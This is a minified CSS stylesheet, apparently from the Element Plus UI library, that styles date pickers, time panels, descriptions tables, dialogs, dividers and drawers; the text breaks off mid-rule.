.el-color-picker__panel{--el-color-picker-alpha-bg-a:#333333}.el-container{box-sizing:border-box;display:flex;flex:1;flex-basis:auto;flex-direction:row;min-width:0}.el-container.is-vertical{flex-direction:column}.el-date-table{font-size:12px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.el-date-table.is-week-mode .el-date-table__row:hover .el-date-table-cell{background-color:var(--el-datepicker-inrange-bg-color)}.el-date-table.is-week-mode .el-date-table__row:hover td.available:hover{color:var(--el-datepicker-text-color)}.el-date-table.is-week-mode .el-date-table__row:hover td:first-child .el-date-table-cell{border-bottom-left-radius:15px;border-top-left-radius:15px;margin-left:5px}.el-date-table.is-week-mode .el-date-table__row:hover td:last-child .el-date-table-cell{border-bottom-right-radius:15px;border-top-right-radius:15px;margin-right:5px}.el-date-table.is-week-mode .el-date-table__row.current .el-date-table-cell{background-color:var(--el-datepicker-inrange-bg-color)}.el-date-table td{box-sizing:border-box;cursor:pointer;height:30px;padding:4px 0;position:relative;text-align:center;width:32px}.el-date-table td .el-date-table-cell{box-sizing:border-box;height:30px;padding:3px 0}.el-date-table td .el-date-table-cell .el-date-table-cell__text{border-radius:50%;display:block;height:24px;left:50%;line-height:24px;margin:0 auto;position:absolute;transform:translate(-50%);width:24px}.el-date-table td.next-month,.el-date-table td.prev-month{color:var(--el-datepicker-off-text-color)}.el-date-table td.today{position:relative}.el-date-table td.today .el-date-table-cell__text{color:var(--el-color-primary);font-weight:700}.el-date-table td.today.end-date .el-date-table-cell__text,.el-date-table td.today.start-date .el-date-table-cell__text{color:#fff}.el-date-table td.available:hover{color:var(--el-datepicker-hover-text-color)}.el-date-table td.in-range .el-date-table-cell{background-color:var(--el-datepicker-inrange-bg-color)}.el-date-table td.in-range .el-date-table-cell:hover{background-color:var(--el-datepicker-inrange-hover-bg-color)}.el-date-table td.current:not(.disabled) .el-date-table-cell__text{background-color:var(--el-datepicker-active-color);color:#fff}.el-date-table td.current:not(.disabled):focus-visible .el-date-table-cell__text{outline:2px solid var(--el-datepicker-active-color);outline-offset:1px}.el-date-table td.end-date .el-date-table-cell,.el-date-table td.start-date .el-date-table-cell{color:#fff}.el-date-table td.end-date .el-date-table-cell__text,.el-date-table td.start-date .el-date-table-cell__text{background-color:var(--el-datepicker-active-color)}.el-date-table td.start-date .el-date-table-cell{border-bottom-left-radius:15px;border-top-left-radius:15px;margin-left:5px}.el-date-table td.end-date .el-date-table-cell{border-bottom-right-radius:15px;border-top-right-radius:15px;margin-right:5px}.el-date-table td.disabled .el-date-table-cell{background-color:var(--el-fill-color-light);color:var(--el-text-color-placeholder);cursor:not-allowed;opacity:1}.el-date-table td.selected .el-date-table-cell{border-radius:15px;margin-left:5px;margin-right:5px}.el-date-table td.selected .el-date-table-cell__text{background-color:var(--el-datepicker-active-color);border-radius:15px;color:#fff}.el-date-table td.week{color:var(--el-datepicker-header-text-color);font-size:80%}.el-date-table td:focus{outline:none}.el-date-table th{border-bottom:1px solid var(--el-border-color-lighter);color:var(--el-datepicker-header-text-color);font-weight:400;padding:5px}.el-month-table{border-collapse:collapse;font-size:12px;margin:-1px}.el-month-table td{cursor:pointer;padding:8px 0;position:relative;text-align:center;width:68px}.el-month-table td div{box-sizing:border-box;height:48px;padding:6px 0}.el-month-table td.today .cell{color:var(--el-color-primary);font-weight:700}.el-month-table td.today.end-date .cell,.el-month-table td.today.start-date .cell{color:#fff}.el-month-table td.disabled .cell{background-color:var(--el-fill-color-light);color:var(--el-text-color-placeholder);cursor:not-allowed}.el-month-table td.disabled .cell:hover{color:var(--el-text-color-placeholder)}.el-month-table td .cell{border-radius:18px;color:var(--el-datepicker-text-color);display:block;height:36px;left:50%;line-height:36px;margin:0 auto;position:absolute;transform:translate(-50%);width:54px}.el-month-table td .cell:hover{color:var(--el-datepicker-hover-text-color)}.el-month-table td.in-range div{background-color:var(--el-datepicker-inrange-bg-color)}.el-month-table td.in-range div:hover{background-color:var(--el-datepicker-inrange-hover-bg-color)}.el-month-table td.end-date div,.el-month-table td.start-date div{color:#fff}.el-month-table td.end-date .cell,.el-month-table td.start-date .cell{background-color:var(--el-datepicker-active-color);color:#fff}.el-month-table td.start-date div{border-bottom-left-radius:24px;border-top-left-radius:24px;margin-left:3px}.el-month-table td.end-date div{border-bottom-right-radius:24px;border-top-right-radius:24px;margin-right:3px}.el-month-table td.current:not(.disabled) div{border-radius:24px;margin-left:3px;margin-right:3px}.el-month-table td.current:not(.disabled) .cell{background-color:var(--el-datepicker-active-color);color:#fff}.el-month-table td:focus-visible{outline:none}.el-month-table td:focus-visible .cell{outline:2px solid var(--el-datepicker-active-color);outline-offset:1px}.el-year-table{border-collapse:collapse;font-size:12px;margin:-1px}.el-year-table .el-icon{color:var(--el-datepicker-icon-color)}.el-year-table td{cursor:pointer;padding:8px 0;position:relative;text-align:center;width:68px}.el-year-table td div{box-sizing:border-box;height:48px;padding:6px 0}.el-year-table td.today .cell{color:var(--el-color-primary);font-weight:700}.el-year-table td.disabled .cell{background-color:var(--el-fill-color-light);color:var(--el-text-color-placeholder);cursor:not-allowed}.el-year-table td.disabled .cell:hover{color:var(--el-text-color-placeholder)}.el-year-table td .cell{border-radius:18px;color:var(--el-datepicker-text-color);display:block;height:36px;left:50%;line-height:36px;margin:0 auto;position:absolute;transform:translate(-50%);width:54px}.el-year-table td .cell:hover{color:var(--el-datepicker-hover-text-color)}.el-year-table td.current:not(.disabled) div{border-radius:24px;margin-left:3px;margin-right:3px}.el-year-table td.current:not(.disabled) .cell{background-color:var(--el-datepicker-active-color);color:#fff}.el-year-table td:focus-visible{outline:none}.el-year-table td:focus-visible .cell{outline:2px solid var(--el-datepicker-active-color);outline-offset:1px}.el-time-spinner.has-seconds .el-time-spinner__wrapper{width:33.3%}.el-time-spinner__wrapper{display:inline-block;max-height:192px;overflow:auto;position:relative;vertical-align:top;width:50%}.el-time-spinner__wrapper.el-scrollbar__wrap:not(.el-scrollbar__wrap--hidden-default){padding-bottom:15px}.el-time-spinner__wrapper.is-arrow{box-sizing:border-box;overflow:hidden;text-align:center}.el-time-spinner__wrapper.is-arrow .el-time-spinner__list{transform:translateY(-32px)}.el-time-spinner__wrapper.is-arrow .el-time-spinner__item:hover:not(.is-disabled):not(.is-active){background:var(--el-fill-color-light);cursor:default}.el-time-spinner__arrow{color:var(--el-text-color-secondary);cursor:pointer;font-size:12px;height:30px;left:0;line-height:30px;position:absolute;text-align:center;width:100%;z-index:var(--el-index-normal)}.el-time-spinner__arrow:hover{color:var(--el-color-primary)}.el-time-spinner__arrow.arrow-up{top:10px}.el-time-spinner__arrow.arrow-down{bottom:10px}.el-time-spinner__input.el-input{width:70%}.el-time-spinner__input.el-input .el-input__inner,.el-time-spinner__list{padding:0;text-align:center}.el-time-spinner__list{list-style:none;margin:0}.el-time-spinner__list:after,.el-time-spinner__list:before{content:"";display:block;height:80px;width:100%}.el-time-spinner__item{color:var(--el-text-color-regular);font-size:12px;height:32px;line-height:32px}.el-time-spinner__item:hover:not(.is-disabled):not(.is-active){background:var(--el-fill-color-light);cursor:pointer}.el-time-spinner__item.is-active:not(.is-disabled){color:var(--el-text-color-primary);font-weight:700}.el-time-spinner__item.is-disabled{color:var(--el-text-color-placeholder);cursor:not-allowed}.el-picker__popper{--el-datepicker-border-color:var(--el-disabled-border-color)}.el-picker__popper.el-popper{background:var(--el-bg-color-overlay);border:1px solid var(--el-datepicker-border-color);box-shadow:var(--el-box-shadow-light)}.el-picker__popper.el-popper .el-popper__arrow:before{border:1px solid var(--el-datepicker-border-color)}.el-picker__popper.el-popper[data-popper-placement^=top] .el-popper__arrow:before{border-left-color:transparent;border-top-color:transparent}.el-picker__popper.el-popper[data-popper-placement^=bottom] .el-popper__arrow:before{border-bottom-color:transparent;border-right-color:transparent}.el-picker__popper.el-popper[data-popper-placement^=left] .el-popper__arrow:before{border-bottom-color:transparent;border-left-color:transparent}.el-picker__popper.el-popper[data-popper-placement^=right] .el-popper__arrow:before{border-right-color:transparent;border-top-color:transparent}.el-date-editor{--el-date-editor-width:220px;--el-date-editor-monthrange-width:300px;--el-date-editor-daterange-width:350px;--el-date-editor-datetimerange-width:400px;--el-input-text-color:var(--el-text-color-regular);--el-input-border:var(--el-border);--el-input-hover-border:var(--el-border-color-hover);--el-input-focus-border:var(--el-color-primary);--el-input-transparent-border:0 0 0 1px transparent inset;--el-input-border-color:var(--el-border-color);--el-input-border-radius:var(--el-border-radius-base);--el-input-bg-color:var(--el-fill-color-blank);--el-input-icon-color:var(--el-text-color-placeholder);--el-input-placeholder-color:var(--el-text-color-placeholder);--el-input-hover-border-color:var(--el-border-color-hover);--el-input-clear-hover-color:var(--el-text-color-secondary);--el-input-focus-border-color:var(--el-color-primary);--el-input-width:100%;position:relative;text-align:left;vertical-align:middle}.el-date-editor.el-input__wrapper{box-shadow:0 0 0 1px var(--el-input-border-color,var(--el-border-color)) inset}.el-date-editor.el-input__wrapper:hover{box-shadow:0 0 0 1px var(--el-input-hover-border-color) inset}.el-date-editor.el-input,.el-date-editor.el-input__wrapper{height:var(--el-input-height,var(--el-component-size));width:var(--el-date-editor-width)}.el-date-editor--monthrange{--el-date-editor-width:var(--el-date-editor-monthrange-width)}.el-date-editor--daterange,.el-date-editor--timerange{--el-date-editor-width:var(--el-date-editor-daterange-width)}.el-date-editor--datetimerange{--el-date-editor-width:var(--el-date-editor-datetimerange-width)}.el-date-editor--dates .el-input__wrapper{text-overflow:ellipsis;white-space:nowrap}.el-date-editor .clear-icon,.el-date-editor .close-icon{cursor:pointer}.el-date-editor .clear-icon:hover{color:var(--el-text-color-secondary)}.el-date-editor .el-range__icon{color:var(--el-text-color-placeholder);float:left;font-size:14px;height:inherit}.el-date-editor .el-range__icon svg{vertical-align:middle}.el-date-editor .el-range-input{-webkit-appearance:none;-moz-appearance:none;appearance:none;background-color:transparent;border:none;color:var(--el-text-color-regular);display:inline-block;font-size:var(--el-font-size-base);height:30px;line-height:30px;margin:0;outline:none;padding:0;text-align:center;width:39%}.el-date-editor .el-range-input::-moz-placeholder{color:var(--el-text-color-placeholder)}.el-date-editor .el-range-input:-ms-input-placeholder{color:var(--el-text-color-placeholder)}.el-date-editor .el-range-input::placeholder{color:var(--el-text-color-placeholder)}.el-date-editor .el-range-separator{align-items:center;color:var(--el-text-color-primary);display:inline-flex;flex:1;font-size:14px;height:100%;justify-content:center;margin:0;overflow-wrap:break-word;padding:0 5px}.el-date-editor .el-range__close-icon{color:var(--el-text-color-placeholder);cursor:pointer;font-size:14px;height:inherit;width:unset}.el-date-editor .el-range__close-icon:hover{color:var(--el-text-color-secondary)}.el-date-editor .el-range__close-icon svg{vertical-align:middle}.el-date-editor .el-range__close-icon--hidden{opacity:0;visibility:hidden}.el-range-editor.el-input__wrapper{align-items:center;display:inline-flex;padding:0 10px}.el-range-editor.is-active,.el-range-editor.is-active:hover{box-shadow:0 0 0 1px var(--el-input-focus-border-color) inset}.el-range-editor--large{line-height:var(--el-component-size-large)}.el-range-editor--large.el-input__wrapper{height:var(--el-component-size-large)}.el-range-editor--large .el-range-separator{font-size:14px;line-height:40px}.el-range-editor--large .el-range-input{font-size:14px;height:38px;line-height:38px}.el-range-editor--small{line-height:var(--el-component-size-small)}.el-range-editor--small.el-input__wrapper{height:var(--el-component-size-small)}.el-range-editor--small .el-range-separator{font-size:12px;line-height:24px}.el-range-editor--small .el-range-input{font-size:12px;height:22px;line-height:22px}.el-range-editor.is-disabled{background-color:var(--el-disabled-bg-color);border-color:var(--el-disabled-border-color);color:var(--el-disabled-text-color);cursor:not-allowed}.el-range-editor.is-disabled:focus,.el-range-editor.is-disabled:hover{border-color:var(--el-disabled-border-color)}.el-range-editor.is-disabled input{background-color:var(--el-disabled-bg-color);color:var(--el-disabled-text-color);cursor:not-allowed}.el-range-editor.is-disabled input::-moz-placeholder{color:var(--el-text-color-placeholder)}.el-range-editor.is-disabled input:-ms-input-placeholder{color:var(--el-text-color-placeholder)}.el-range-editor.is-disabled input::placeholder{color:var(--el-text-color-placeholder)}.el-range-editor.is-disabled .el-range-separator{color:var(--el-disabled-text-color)}.el-picker-panel{background:var(--el-bg-color-overlay);border-radius:var(--el-border-radius-base);color:var(--el-text-color-regular);line-height:30px}.el-picker-panel .el-time-panel{background-color:var(--el-bg-color-overlay);border:1px solid var(--el-datepicker-border-color);box-shadow:var(--el-box-shadow-light);margin:5px 0}.el-picker-panel__body-wrapper:after,.el-picker-panel__body:after{clear:both;content:"";display:table}.el-picker-panel__content{margin:15px;position:relative}.el-picker-panel__footer{background-color:var(--el-bg-color-overlay);border-top:1px solid var(--el-datepicker-inner-border-color);font-size:0;padding:4px 12px;position:relative;text-align:right}.el-picker-panel__shortcut{background-color:transparent;border:0;color:var(--el-datepicker-text-color);cursor:pointer;display:block;font-size:14px;line-height:28px;outline:none;padding-left:12px;text-align:left;width:100%}.el-picker-panel__shortcut:hover{color:var(--el-datepicker-hover-text-color)}.el-picker-panel__shortcut.active{background-color:#e6f1fe;color:var(--el-datepicker-active-color)}.el-picker-panel__btn{background-color:transparent;border:1px solid var(--el-fill-color-darker);border-radius:2px;color:var(--el-text-color-primary);cursor:pointer;font-size:12px;line-height:24px;outline:none;padding:0 20px}.el-picker-panel__btn[disabled]{color:var(--el-text-color-disabled);cursor:not-allowed}.el-picker-panel__icon-btn{background:transparent;border:0;color:var(--el-datepicker-icon-color);cursor:pointer;font-size:12px;margin-top:8px;outline:none}.el-picker-panel__icon-btn:hover{color:var(--el-datepicker-hover-text-color)}.el-picker-panel__icon-btn:focus-visible{color:var(--el-datepicker-hover-text-color)}.el-picker-panel__icon-btn.is-disabled{color:var(--el-text-color-disabled)}.el-picker-panel__icon-btn.is-disabled:hover{cursor:not-allowed}.el-picker-panel__icon-btn .el-icon{cursor:pointer;font-size:inherit}.el-picker-panel__link-btn{vertical-align:middle}.el-picker-panel [slot=sidebar],.el-picker-panel__sidebar{background-color:var(--el-bg-color-overlay);border-right:1px solid var(--el-datepicker-inner-border-color);bottom:0;box-sizing:border-box;overflow:auto;padding-top:6px;position:absolute;top:0;width:110px}.el-picker-panel [slot=sidebar]+.el-picker-panel__body,.el-picker-panel__sidebar+.el-picker-panel__body{margin-left:110px}.el-date-picker{--el-datepicker-text-color:var(--el-text-color-regular);--el-datepicker-off-text-color:var(--el-text-color-placeholder);--el-datepicker-header-text-color:var(--el-text-color-regular);--el-datepicker-icon-color:var(--el-text-color-primary);--el-datepicker-border-color:var(--el-disabled-border-color);--el-datepicker-inner-border-color:var(--el-border-color-light);--el-datepicker-inrange-bg-color:var(--el-border-color-extra-light);--el-datepicker-inrange-hover-bg-color:var(--el-border-color-extra-light);--el-datepicker-active-color:var(--el-color-primary);--el-datepicker-hover-text-color:var(--el-color-primary);width:322px}.el-date-picker.has-sidebar.has-time{width:434px}.el-date-picker.has-sidebar{width:438px}.el-date-picker.has-time .el-picker-panel__body-wrapper{position:relative}.el-date-picker .el-picker-panel__content{width:292px}.el-date-picker table{table-layout:fixed;width:100%}.el-date-picker__editor-wrap{display:table-cell;padding:0 5px;position:relative}.el-date-picker__time-header{border-bottom:1px solid var(--el-datepicker-inner-border-color);box-sizing:border-box;display:table;font-size:12px;padding:8px 5px 5px;position:relative;width:100%}.el-date-picker__header{margin:12px;text-align:center}.el-date-picker__header--bordered{border-bottom:1px solid var(--el-border-color-lighter);margin-bottom:0;padding-bottom:12px}.el-date-picker__header--bordered+.el-picker-panel__content{margin-top:0}.el-date-picker__header-label{color:var(--el-text-color-regular);cursor:pointer;font-size:16px;font-weight:500;line-height:22px;padding:0 5px;text-align:center}.el-date-picker__header-label:hover{color:var(--el-datepicker-hover-text-color)}.el-date-picker__header-label:focus-visible{color:var(--el-datepicker-hover-text-color);outline:none}.el-date-picker__header-label.active{color:var(--el-datepicker-active-color)}.el-date-picker__prev-btn{float:left}.el-date-picker__next-btn{float:right}.el-date-picker__time-wrap{padding:10px;text-align:center}.el-date-picker__time-label{cursor:pointer;float:left;line-height:30px;margin-left:10px}.el-date-picker .el-time-panel{position:absolute}.el-date-range-picker{--el-datepicker-text-color:var(--el-text-color-regular);--el-datepicker-off-text-color:var(--el-text-color-placeholder);--el-datepicker-header-text-color:var(--el-text-color-regular);--el-datepicker-icon-color:var(--el-text-color-primary);--el-datepicker-border-color:var(--el-disabled-border-color);--el-datepicker-inner-border-color:var(--el-border-color-light);--el-datepicker-inrange-bg-color:var(--el-border-color-extra-light);--el-datepicker-inrange-hover-bg-color:var(--el-border-color-extra-light);--el-datepicker-active-color:var(--el-color-primary);--el-datepicker-hover-text-color:var(--el-color-primary);width:646px}.el-date-range-picker.has-sidebar{width:756px}.el-date-range-picker.has-time .el-picker-panel__body-wrapper{position:relative}.el-date-range-picker table{table-layout:fixed;width:100%}.el-date-range-picker .el-picker-panel__body{min-width:513px}.el-date-range-picker .el-picker-panel__content{margin:0}.el-date-range-picker__header{height:28px;position:relative;text-align:center}.el-date-range-picker__header [class*=arrow-left]{float:left}.el-date-range-picker__header [class*=arrow-right]{float:right}.el-date-range-picker__header div{font-size:16px;font-weight:500;margin-right:50px}.el-date-range-picker__content{box-sizing:border-box;float:left;margin:0;padding:16px;width:50%}.el-date-range-picker__content.is-left{border-right:1px solid var(--el-datepicker-inner-border-color)}.el-date-range-picker__content .el-date-range-picker__header div{margin-left:50px;margin-right:50px}.el-date-range-picker__editors-wrap{box-sizing:border-box;display:table-cell}.el-date-range-picker__editors-wrap.is-right{text-align:right}.el-date-range-picker__time-header{border-bottom:1px solid var(--el-datepicker-inner-border-color);box-sizing:border-box;display:table;font-size:12px;padding:8px 5px 5px;position:relative;width:100%}.el-date-range-picker__time-header>.el-icon-arrow-right{color:var(--el-datepicker-icon-color);display:table-cell;font-size:20px;vertical-align:middle}.el-date-range-picker__time-picker-wrap{display:table-cell;padding:0 5px;position:relative}.el-date-range-picker__time-picker-wrap .el-picker-panel{background:#fff;position:absolute;right:0;top:13px;z-index:1}.el-date-range-picker__time-picker-wrap .el-time-panel{position:absolute}.el-time-range-picker{overflow:visible;width:354px}.el-time-range-picker__content{padding:10px;position:relative;text-align:center;z-index:1}.el-time-range-picker__cell{box-sizing:border-box;display:inline-block;margin:0;padding:4px 7px 7px;width:50%}.el-time-range-picker__header{font-size:14px;margin-bottom:5px;text-align:center}.el-time-range-picker__body{border:1px solid var(--el-datepicker-border-color);border-radius:2px}.el-time-panel{border-radius:2px;box-sizing:content-box;left:0;position:relative;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;width:180px;z-index:var(--el-index-top)}.el-time-panel__content{font-size:0;overflow:hidden;position:relative}.el-time-panel__content:after,.el-time-panel__content:before{box-sizing:border-box;content:"";height:32px;left:0;margin-top:-16px;padding-top:6px;position:absolute;right:0;text-align:left;top:50%;z-index:-1}.el-time-panel__content:after{left:50%;margin-left:12%;margin-right:12%}.el-time-panel__content:before{border-bottom:1px solid var(--el-border-color-light);border-top:1px solid var(--el-border-color-light);margin-left:12%;margin-right:12%;padding-left:50%}.el-time-panel__content.has-seconds:after{left:66.6666666667%}.el-time-panel__content.has-seconds:before{padding-left:33.3333333333%}.el-time-panel__footer{border-top:1px solid var(--el-timepicker-inner-border-color,var(--el-border-color-light));box-sizing:border-box;height:36px;line-height:25px;padding:4px;text-align:right}.el-time-panel__btn{background-color:transparent;border:none;color:var(--el-text-color-primary);cursor:pointer;font-size:12px;line-height:28px;margin:0 5px;outline:none;padding:0 5px}.el-time-panel__btn.confirm{color:var(--el-timepicker-active-color,var(--el-color-primary));font-weight:800}.el-descriptions{--el-descriptions-table-border:1px solid var(--el-border-color-lighter);--el-descriptions-item-bordered-label-background:var(--el-fill-color-light);box-sizing:border-box;color:var(--el-text-color-primary);font-size:var(--el-font-size-base)}.el-descriptions__header{align-items:center;display:flex;justify-content:space-between;margin-bottom:16px}.el-descriptions__title{color:var(--el-text-color-primary);font-size:16px;font-weight:700}.el-descriptions__body{background-color:var(--el-fill-color-blank)}.el-descriptions__body .el-descriptions__table{border-collapse:collapse;width:100%}.el-descriptions__body .el-descriptions__table .el-descriptions__cell{box-sizing:border-box;font-size:14px;font-weight:400;line-height:23px;text-align:left}.el-descriptions__body .el-descriptions__table .el-descriptions__cell.is-left{text-align:left}.el-descriptions__body .el-descriptions__table .el-descriptions__cell.is-center{text-align:center}.el-descriptions__body .el-descriptions__table .el-descriptions__cell.is-right{text-align:right}.el-descriptions__body .el-descriptions__table.is-bordered .el-descriptions__cell{border:var(--el-descriptions-table-border);padding:8px 11px}.el-descriptions__body .el-descriptions__table:not(.is-bordered) .el-descriptions__cell{padding-bottom:12px}.el-descriptions--large{font-size:14px}.el-descriptions--large .el-descriptions__header{margin-bottom:20px}.el-descriptions--large .el-descriptions__header .el-descriptions__title{font-size:16px}.el-descriptions--large .el-descriptions__body .el-descriptions__table .el-descriptions__cell{font-size:14px}.el-descriptions--large .el-descriptions__body .el-descriptions__table.is-bordered .el-descriptions__cell{padding:12px 15px}.el-descriptions--large .el-descriptions__body .el-descriptions__table:not(.is-bordered) .el-descriptions__cell{padding-bottom:16px}.el-descriptions--small{font-size:12px}.el-descriptions--small .el-descriptions__header{margin-bottom:12px}.el-descriptions--small .el-descriptions__header .el-descriptions__title{font-size:14px}.el-descriptions--small .el-descriptions__body .el-descriptions__table .el-descriptions__cell{font-size:12px}.el-descriptions--small .el-descriptions__body .el-descriptions__table.is-bordered .el-descriptions__cell{padding:4px 7px}.el-descriptions--small .el-descriptions__body .el-descriptions__table:not(.is-bordered) .el-descriptions__cell{padding-bottom:8px}.el-descriptions__label.el-descriptions__cell.is-bordered-label{background:var(--el-descriptions-item-bordered-label-background);color:var(--el-text-color-regular);font-weight:700}.el-descriptions__label:not(.is-bordered-label){color:var(--el-text-color-primary);margin-right:16px}.el-descriptions__label.el-descriptions__cell:not(.is-bordered-label).is-vertical-label{padding-bottom:6px}.el-descriptions__content.el-descriptions__cell.is-bordered-content{color:var(--el-text-color-primary)}.el-descriptions__content:not(.is-bordered-label){color:var(--el-text-color-regular)}.el-descriptions--large .el-descriptions__label:not(.is-bordered-label){margin-right:16px}.el-descriptions--large .el-descriptions__label.el-descriptions__cell:not(.is-bordered-label).is-vertical-label{padding-bottom:8px}.el-descriptions--small .el-descriptions__label:not(.is-bordered-label){margin-right:12px}.el-descriptions--small .el-descriptions__label.el-descriptions__cell:not(.is-bordered-label).is-vertical-label{padding-bottom:4px}:root{--el-popup-modal-bg-color:var(--el-color-black);--el-popup-modal-opacity:.5}.v-modal-enter{-webkit-animation:v-modal-in var(--el-transition-duration-fast) ease;animation:v-modal-in var(--el-transition-duration-fast) ease}.v-modal-leave{-webkit-animation:v-modal-out var(--el-transition-duration-fast) ease forwards;animation:v-modal-out var(--el-transition-duration-fast) ease forwards}@-webkit-keyframes v-modal-in{0%{opacity:0}}@keyframes v-modal-in{0%{opacity:0}}@-webkit-keyframes v-modal-out{to{opacity:0}}@keyframes v-modal-out{to{opacity:0}}.v-modal{background:var(--el-popup-modal-bg-color);height:100%;left:0;opacity:var(--el-popup-modal-opacity);position:fixed;top:0;width:100%}.el-popup-parent--hidden{overflow:hidden}.el-dialog{--el-dialog-width:50%;--el-dialog-margin-top:15vh;--el-dialog-bg-color:var(--el-bg-color);--el-dialog-box-shadow:var(--el-box-shadow);--el-dialog-title-font-size:var(--el-font-size-large);--el-dialog-content-font-size:14px;--el-dialog-font-line-height:var(--el-font-line-height-primary);--el-dialog-padding-primary:16px;--el-dialog-border-radius:var(--el-border-radius-small);background:var(--el-dialog-bg-color);border-radius:var(--el-dialog-border-radius);box-shadow:var(--el-dialog-box-shadow);box-sizing:border-box;margin:var(--el-dialog-margin-top,15vh) auto 50px;overflow-wrap:break-word;padding:var(--el-dialog-padding-primary);position:relative;width:var(--el-dialog-width,50%)}.el-dialog:focus{outline:none!important}.el-dialog.is-align-center{margin:auto}.el-dialog.is-fullscreen{--el-dialog-width:100%;--el-dialog-margin-top:0;height:100%;margin-bottom:0;overflow:auto}.el-dialog__wrapper{bottom:0;left:0;margin:0;overflow:auto;position:fixed;right:0;top:0}.el-dialog.is-draggable .el-dialog__header{cursor:move;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.el-dialog__header{padding-bottom:var(--el-dialog-padding-primary)}.el-dialog__header.show-close{padding-right:calc(var(--el-dialog-padding-primary) + var(--el-message-close-size, 16px))}.el-dialog__headerbtn{background:transparent;border:none;cursor:pointer;font-size:var(--el-message-close-size,16px);height:48px;outline:none;padding:0;position:absolute;right:0;top:0;width:48px}.el-dialog__headerbtn .el-dialog__close{color:var(--el-color-info);font-size:inherit}.el-dialog__headerbtn:focus .el-dialog__close,.el-dialog__headerbtn:hover .el-dialog__close{color:var(--el-color-primary)}.el-dialog__title{color:var(--el-text-color-primary);font-size:var(--el-dialog-title-font-size);line-height:var(--el-dialog-font-line-height)}.el-dialog__body{color:var(--el-text-color-regular);font-size:var(--el-dialog-content-font-size)}.el-dialog__footer{box-sizing:border-box;padding-top:var(--el-dialog-padding-primary);text-align:right}.el-dialog--center{text-align:center}.el-dialog--center .el-dialog__body{text-align:initial}.el-dialog--center .el-dialog__footer{text-align:inherit}.el-overlay-dialog{bottom:0;left:0;overflow:auto;position:fixed;right:0;top:0}.dialog-fade-enter-active{-webkit-animation:modal-fade-in var(--el-transition-duration);animation:modal-fade-in var(--el-transition-duration)}.dialog-fade-enter-active .el-overlay-dialog{-webkit-animation:dialog-fade-in var(--el-transition-duration);animation:dialog-fade-in var(--el-transition-duration)}.dialog-fade-leave-active{-webkit-animation:modal-fade-out var(--el-transition-duration);animation:modal-fade-out var(--el-transition-duration)}.dialog-fade-leave-active .el-overlay-dialog{-webkit-animation:dialog-fade-out var(--el-transition-duration);animation:dialog-fade-out var(--el-transition-duration)}@-webkit-keyframes dialog-fade-in{0%{opacity:0;transform:translate3d(0,-20px,0)}to{opacity:1;transform:translateZ(0)}}@keyframes dialog-fade-in{0%{opacity:0;transform:translate3d(0,-20px,0)}to{opacity:1;transform:translateZ(0)}}@-webkit-keyframes dialog-fade-out{0%{opacity:1;transform:translateZ(0)}to{opacity:0;transform:translate3d(0,-20px,0)}}@keyframes dialog-fade-out{0%{opacity:1;transform:translateZ(0)}to{opacity:0;transform:translate3d(0,-20px,0)}}@-webkit-keyframes modal-fade-in{0%{opacity:0}to{opacity:1}}@keyframes modal-fade-in{0%{opacity:0}to{opacity:1}}@-webkit-keyframes modal-fade-out{0%{opacity:1}to{opacity:0}}@keyframes modal-fade-out{0%{opacity:1}to{opacity:0}}.el-divider{position:relative}.el-divider--horizontal{border-top:1px var(--el-border-color) var(--el-border-style);display:block;height:1px;margin:24px 0;width:100%}.el-divider--vertical{border-left:1px var(--el-border-color) var(--el-border-style);display:inline-block;height:1em;margin:0 8px;position:relative;vertical-align:middle;width:1px}.el-divider__text{background-color:var(--el-bg-color);color:var(--el-text-color-primary);font-size:14px;font-weight:500;padding:0 20px;position:absolute}.el-divider__text.is-left{left:20px;transform:translateY(-50%)}.el-divider__text.is-center{left:50%;transform:translate(-50%) translateY(-50%)}.el-divider__text.is-right{right:20px;transform:translateY(-50%)}.el-drawer{--el-drawer-bg-color:var(--el-dialog-bg-color,var(--el-bg-color));--el-drawer-padding-primary:var(--el-dialog-padding-primary,20px);background-color:var(--el-drawer-bg-color);box-shadow:var(--el-box-shadow-dark);box-sizing:border-box;display:flex;flex-direction:column;overflow:hidden;position:absolute;transition:all var(--el-transition-duration)}.el-drawer .btt,.el-drawer .ltr,.el-drawer .rtl,.el-drawer .ttb{transform:translate(0)}.el-drawer__sr-focus:focus{outline:none!important}.el-drawer__header{align-items:center;color:#72767b;display:flex;margin-bottom:32px;padding:var(--el-drawer-padding-primary);padding-bottom:0}.el-drawer__header>:first-child{flex:1}.el-drawer__title{flex:1;font-size:1rem;line-height:inherit;margin:0}.el-drawer__footer{padding:var(--el-drawer-padding-primary);padding-top:10px;text-align:right}.el-drawer__close-btn{background-color:transparent;border:none;color:inherit;cursor:pointer;display:inline-flex;font-size:var(--el-font-size-extra-large);outline:none}.el-drawer__close-btn:focus i,.el-drawer__close-btn:hover i{color:var(--el-color-primary)}.el-drawer__body{flex:1;overflow:auto;padding:var(--el-drawer-padding-primary)}.el-drawer__body>*{box-sizing:border-box}.el-drawer.ltr,.el-drawer.rtl{bottom:0;height:100%;top:0}.el-drawer.btt,.el-drawer.ttb{left:0;right:0;width:100%}.el-drawer.ltr{left:0}.el-drawer.rtl{right:0}.el-drawer.ttb{top:0}.el-drawer.btt{bottom:0}.el-drawer-fade-enter-active,.el-drawer-fade-leave-active{transition:all var(--el-transition-duration)}.el-drawer-fade-enter-active,.el-drawer-fade-enter-from,.el-drawer-fade-enter-to,.el-drawer-fade-leave-active,.el-drawer-fade-leave-from,.el-drawer-fade-leave-to{overflow:hidden!important}.el-drawer-fade-enter-from,.el-drawer-fade-leave-to{opacity:0}.el-drawer-fade-enter-to,.el-drawer-fade-leave-from{opacity:1}.el-drawer-fade-enter-from .rtl,.el-drawer-fade-leave-to .rtl{transform:translate(100%)}.el-drawer-fade-enter-from .ltr,.el-drawer-fade-leave-to .ltr{transform:translate(-100%)}.el-drawer-fade-enter-from .ttb,.el-drawer-fade-leave-to .ttb{transform:translateY(-100%)}.el-drawer-fade-enter-from .btt,.el-drawer-fade-leave-to 